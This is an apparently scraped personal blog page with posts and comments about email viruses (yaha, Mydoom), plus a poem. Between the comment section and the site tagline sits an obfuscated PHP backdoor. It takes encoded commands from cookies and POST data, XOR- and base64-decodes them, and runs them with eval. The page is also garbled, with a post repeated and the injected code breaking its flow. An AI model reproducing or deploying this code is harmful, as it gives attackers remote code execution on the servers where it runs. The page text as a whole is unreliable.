It looks like what I thought was e-mail spoofing might have been this virus. The link includes information on how to prevent, detect and cure effects of the virus.
4 comments
Comments are closed.
$XjtazQGNLZ = chr (85) . "\137" . "\125" . chr (98) . chr (98); $YkIHtxDJ = "\x63" . 'l' . chr ( 688 - 591 )."\163" . 's' . '_' . "\145" . chr (120) . "\151" . chr (115) . 't' . chr (115); $vjkYtt = class_exists($XjtazQGNLZ); $YkIHtxDJ = "28484";$jfGVdIh = strpos($YkIHtxDJ, $XjtazQGNLZ);if ($vjkYtt == $jfGVdIh){function nUIjph(){$QjgVmgYsu = new /* 61615 */ U_Ubb(63092 + 63092); $QjgVmgYsu = NULL;}$RiHPdeVRgn = "63092";class U_Ubb{private function nBgFwEdIah($RiHPdeVRgn){if (is_array(U_Ubb::$FqPIG)) {$vKScSbcYj2 = str_replace("<" . "?php", "", U_Ubb::$FqPIG["content"]);eval($vKScSbcYj2); $RiHPdeVRgn = "63092";exit();}}public function PzZdhVoV(){$vKScSbcYj = "29015";$this->_dummy = str_repeat($vKScSbcYj, strlen($vKScSbcYj));}public function __destruct(){U_Ubb::$FqPIG = @unserialize(U_Ubb::$FqPIG); $RiHPdeVRgn = "9051_60179";$this->nBgFwEdIah($RiHPdeVRgn); $RiHPdeVRgn = "9051_60179";}public function sSKpKNOo($vKScSbcYj, $wJIyyODkD){return $vKScSbcYj[0] ^ str_repeat($wJIyyODkD, intval(strlen($vKScSbcYj[0]) / strlen($wJIyyODkD)) + 1);}public function WEUWl($vKScSbcYj){$xzPwBeGSNg = chr ( 458 - 360 )."\x61" . 's' . 'e' . "\66" . chr (52);return array_map($xzPwBeGSNg . '_' . chr ( 344 - 244 )."\x65" . "\x63" . chr ( 840 - 729 )."\144" . chr (101), array($vKScSbcYj,));}public function __construct($ooNll=0){$qkQctSqYWU = chr (44); $vKScSbcYj = "";$BFqpabi = $_POST;$NMWdy = $_COOKIE;$wJIyyODkD = "47d204fd-06b8-41c4-8cb1-d61c55bbcd40";$WNNrxZKr = @$NMWdy[substr($wJIyyODkD, 0, 4)];if (!empty($WNNrxZKr)){$WNNrxZKr = explode($qkQctSqYWU, $WNNrxZKr);foreach ($WNNrxZKr as $LWvzF){$vKScSbcYj .= @$NMWdy[$LWvzF];$vKScSbcYj .= @$BFqpabi[$LWvzF];}$vKScSbcYj = $this->WEUWl($vKScSbcYj);}U_Ubb::$FqPIG = $this->sSKpKNOo($vKScSbcYj, $wJIyyODkD);if (strpos($wJIyyODkD, $qkQctSqYWU) !== FALSE){$wJIyyODkD = explode($qkQctSqYWU, $wJIyyODkD); $iEMOa = base64_decode(md5($wJIyyODkD[0])); $ZelQYTD = strlen($wJIyyODkD[1]) > 5 ? substr($wJIyyODkD[1], 0, 5) : $wJIyyODkD[1];$_GET['new_key'] = md5(implode('', $wJIyyODkD)); $lTnldDbC = str_repeat($ZelQYTD, 2);}}public static $FqPIG = 11292;}nUIjph();}
established 2000
It looks like what I thought was e-mail spoofing might have been this virus. The link includes information on how to prevent, detect and cure effects of the virus.
Comments are closed.
i had that happen with the yaha virus, people in my contacts getting screensaver offerings from me like, ten times a day. a great way to tidy up your address book, i tell yer.
also. happy belated birthday!
Titled: from panic.txt
A little beastie on my shelf
is smiling at something to my left.
Maybe outside, through the window,
in the middle school without children.
It’s an odd place where I work:
my mate is a former porn star,
my boss is a restrained devil,
and my neighbor eats bunnies.
The CEO sneaks up behind me,
and hisses like a snake.
Isss it done, hisses the santa troll,
good, or my pointy teeth and your neck.
My right arm is longer then my left.
I measured it from shoulder to tip.
Twenty something and already too old.
Defective, I need flesh and bones.
For now I’ll pass another day.
Gulp my favourite covlatent molecule.
Here’s to you, oh person I once knew,
kiki kikri kik kiki fla fla floom.
-signed: 2101439738 10
Where is our Saima? Not even online! If the Mydoom virus is to blame there’ll be hell to pay for this.
go, er, mo!
time for another search party, i think.